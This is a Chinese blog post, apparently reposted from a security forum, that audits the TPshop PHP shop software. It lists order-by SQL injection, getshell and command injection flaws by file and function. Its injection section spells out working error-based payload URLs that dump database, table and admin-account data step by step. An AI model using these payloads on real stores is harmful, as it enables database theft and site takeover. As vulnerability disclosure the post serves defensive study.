PHP代码审计TP****多个漏洞集合

2019-04-04 约 362 字 预计阅读 2 分钟

声明:本文 【PHP代码审计TP****多个漏洞集合】 由作者 phpoop 于 2017-12-01 11:35:00 首发 先知社区 曾经 浏览数 4185 次

感谢 phpoop 的辛苦付出!

0x00 前言

这个系统的漏洞也是放了很久了,这几天逛T00ls发现给人家爆出来了。。爆出来了。我也一次性爆完把=-=,有和T00ls论坛的那个哥们重复的纯属正常。

防止说我是照抄的,引起不好影响,下面那图是我审计的时候上传的时间,来证明一下,引起误会就不好了。

百度云链接:https://pan.baidu.com/s/1o8MIOQI 密码:x83a

0x02 说明

TPshop开源商城系统( Thinkphp shop的简称 ),是深圳搜豹网络有限公司开发的一套多商家模式的商城系统。适合企业及个人快速构建个性化网上商城。包含PC+IOS客户端+Adroid客户端+微商城,系统PC+后台是基于ThinkPHP5 MVC构架开发的跨平台开源软件,设计得非常灵活,具有模块化架构体系和丰富的功能,易于与第三方应用系统无缝集成,在设计上,包含相当全面,以模块化架构体系,让应用组合变得相当灵活,功能也相当丰富。
下载地址:http://www.tp-shop.cn/Index/Index/download.html

目录大概结构
    ├─index.php           入口文件
    ├─Install             安装目录 //保存着各种的sql文件 php文件初始化
    ├─Thinkphp            PHP框架代码
    ├─plugins             保存插件的地方
    ├─vendor              第三方类库
    ├─Public              保存css,js,img,upload的地方
    ├─Template            模版文件 //保存手机与电脑端html的地方
    │    ├─mobile              手机模版文件
    │    ├─pc                  电脑模版文件
    ├─application         项目文件夹
    │    ├─home                电脑端业务代码 //保存着电脑端的各种功能PHP文件
    │    │    ├─Controller          控制器
    │    │    ├─lang                语言包
    │    │    ├─Logic               模型逻辑层(可以当成Services来看)
    │    │    ├─model               模型层
    │    │    ├─validate            验证器
    │    │    ├─view                视图(在这框架中并没有什么用)
    │    ├─admin                   管理端业务代码 //保存着管理端的各种功能PHP文件同上
    │    ├─mobile                  手机端业务代码 //保存着手机端的各种功能PHP文件
    │    ├─common                  全局公共函数文件夹(我也不懂为什么这里要放一大把的model的东西)
    │    ├─common.php              全局公共函数文件
    │    ├─config php              全局公共配置文件
    │    ├─database.php            数据库配置文件
    │    ├─function.php            公共函数文件
    │    ├─route.php               系统路由文件
    │    ├─tags.php                应用行为扩展定义文件

0x03 正文

注入篇

漏洞1:前台sql注入 order by注入
文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

因为是order by 的注入所以要利用一些平时用不到的sql语句

爆当前库名:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT database() ),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))

爆此mysql库的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8138 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

爆某个库的名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 4362 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(schema_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.SCHEMATA LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库表的总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 8139 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36)),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个库每个表的表名:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3572 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(table_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.TABLES WHERE table_schema IN (0x747073686f70322e302e36) LIMIT 2,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表的字段总数:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 1965 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某个表 某个字段名称:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 3302 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(column_name AS CHAR),0x20)),1,451) FROM INFORMATION_SCHEMA.COLUMNS WHERE table_name=0x74705f61646d696e AND table_schema=0x747073686f70322e302e36 LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

获取某库某表某字段数据:

http://127.0.0.1:8082/Home/Goods/goodsList/id/1/sort/shop_price/sort_asc/,(SELECT 2857 FROM (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x2D2D2D2D,(SELECT MID((IFNULL(CAST(admin_id AS CHAR),0x20)),1,451) FROM `tpshop2.0.6`.tp_admin ORDER BY admin_id LIMIT 0,1),0x2D2D2D2D))s), 8446744073709551610, 8446744073709551610)))x)

漏洞2:前台sql注入 order by注入

文件地址:application/home/controller/Goods.php
URL地址:http://xx.com/index.php/Home/Goods/search/q/a/sort/sales_sum
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc');// 排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/goodsList/id/1/sort_asc/desc
问题函数:goodsList()
问题参数_1: $sort = I('get.sort','goods_id');// 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

漏洞3:前台sql注入 order by注入

文件地址:application\mobile\controller\Goods.php
URL地址:http://xx.com/index.php/Mobile/Goods/search/id/0/q/小米/sort/shop_price
问题函数:search()
问题参数_1: $sort = I('get.sort','goods_id'); // 排序
问题参数_2: $sort_asc = I('get.sort_asc','asc'); // 排序

前后台getshell篇

漏洞1:前台无限制getshell漏洞

文件地址:application/home/controller/Test.php
URL地址:http://xx.com/index.php/Home/test/dlfile
问题函数:dlfile()

漏洞2:前台无限制getshell漏洞

文件地址:application/home/controller/Uploadify.php
URL地址:http://xx.com/index.php/Home/Uploadify/preview
问题函数:preview()

漏洞3:后台有限制 命令注入 漏洞

文件地址:application\admin\controller\Plugin.php
URL地址:http://xx.com/index.php/Admin/Plugin/add_shipping
问题函数:add_shipping

关键词:[‘新手’, ‘入门资料’]


author

旭达网络

旭达网络技术博客,曾记录各种技术问题,一贴搞定.
本文采用知识共享署名 4.0 国际许可协议进行许可。

We notice you're using an adblocker. If you like our webite please keep us running by whitelisting this site in your ad blocker. We’re serving quality, related ads only. Thank you!

I've whitelisted your website.

Not now